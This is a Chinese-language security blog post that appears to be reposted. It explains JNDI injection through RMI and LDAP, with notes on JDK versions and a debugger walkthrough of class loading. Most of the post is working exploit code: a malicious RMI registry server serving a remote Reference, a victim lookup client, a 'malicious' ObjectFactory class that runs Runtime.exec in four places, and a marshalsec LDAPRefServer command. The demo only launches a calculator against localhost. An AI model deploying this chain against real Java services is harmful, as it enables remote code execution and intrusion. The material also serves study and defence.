JNDI注入原理分析(RMI、JNDI)


JNDI注入原理分析(RMI、JNDI)

簡介:

JNDI(The java Naming and Directory Interface,java命名和目錄接口)是一組在Java應用中訪問命名和目錄服務器的API,命令服務將名稱和對象聯系起來,使得我們可以用名稱訪問對象。
這些命名/目錄服務提供者( 本次分析RMI、LADP):
  • RMI (JAVA遠程方法調用)
  • LDAP (輕量級目錄訪問協議)
  • CORBA (公共對象請求代理體系結構)
  • DNS (域名服務)

JDNI注入原理:

由於JNDI注入動態加載的原理是使用Reference引用Object Factory類,使用的是 URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false屬性的限制。
但是 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase屬性會對JNDI屬性進行的限制。
  1. JDK 5U45、6U45、7u21、8u121 開始 java.rmi.server.useCodebaseOnly 默認配置為true
  2. JDK 6u132、7u122、8u113 開始 com.sun.jndi.rmi.object.trustURLCodebase 默認值為false,即不允許RMI遠程地址加載objectfactory類
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默認為false
0

JNDI-RMI示例:

這里用的jdk1.7.0_2,不受上面提到的java安全參數影響
Client.java:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
       String uri = "rmi://127.0.0.1:1098/aaa";  //rmi
        //String uri = "ldap://127.0.0.1:1389/aaa"; //ldap
        Context ctx = new InitialContext();
        ctx.lookup(uri);//
    }
}

Server.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        String className = "Calc"; //類名
        String url = "http://127.0.0.1:8000/";//遠程類地址
        Registry registry = LocateRegistry.createRegistry(1098);//rmi監聽端口
        Reference reference = new Reference(className, className, url);//按照lookup需要一個Reference類
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.rebind("aaa", referenceWrapper);//綁定一個stub
        System.out.println("rmi://127.0.0.1/hacked is working...");
    }
}

Calc.java(惡意類)

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
        return null;
    }
}

DEBUG分析:

在lookup處打下斷點,進行跟進分析:

 

 跟進后做了一些的判斷,有個decodeObject()傳入的參數是我們控制的參數

判斷是否是Reference,下面這個getb

 

 這里來到處理的核心代碼:在NamingManager#getObjectInstance中

在NamingManager#getObjectFactoryFromReference中,會去本地找,未找到再去遠程加載:(這里LoadClass就是加載Class,會調用該對象的靜態方法)

靜態方法調用的計算器:

 

 

 然后我們看到clas.newInstance方法(該方法作用示例化一個對象,並且加載該類的public無參構造方法),代碼塊和無參構造方法Calc彈出:

調用遠程惡意加載類的getObjectInstance:

 

 

JNDI-LDAP:

原理:

只要我們能夠構造惡意工廠類就可以實現,這里LDAP服務也可以返回惡意工廠。

演示:

服務端:

這里直接使用marshalsec啟動LADP服務,端口默認1389:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#Calc

受害端:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://127.0.0.1:1389/Calc";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

惡意類:和上面的是一樣的Calc.java

最后還是4個計算器被彈出

 

 總結:

1.代碼塊,靜態方法、構造方法、getObjectInstance(),都會被執行。

2.jndi攻擊聽起來抽象,就這理解為可以遠程加載我們的惡意類;加載順序是先判斷是否有本地存在調用的類,不存在就去遠程訪問。

3.編譯惡意類時不要有包名,否則報錯。

4.javac版本和受害機器版本最好是相同Java版本,反正現在都用工具自動生成這個問題不大。()

5.遠程加載時會調用一下方法並且會觸發相關代碼:
  • class.forname 、loadclass會觸發類的靜態方法
  • class.newInstance 會觸發遠程類的代碼塊和無參構造方法
  • 最后factory調用了getObjectInstance()方法(factory就是我們的可控類)

 

參考鏈接:

https://www.cnblogs.com/yyhuni/p/15083613.html

 http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM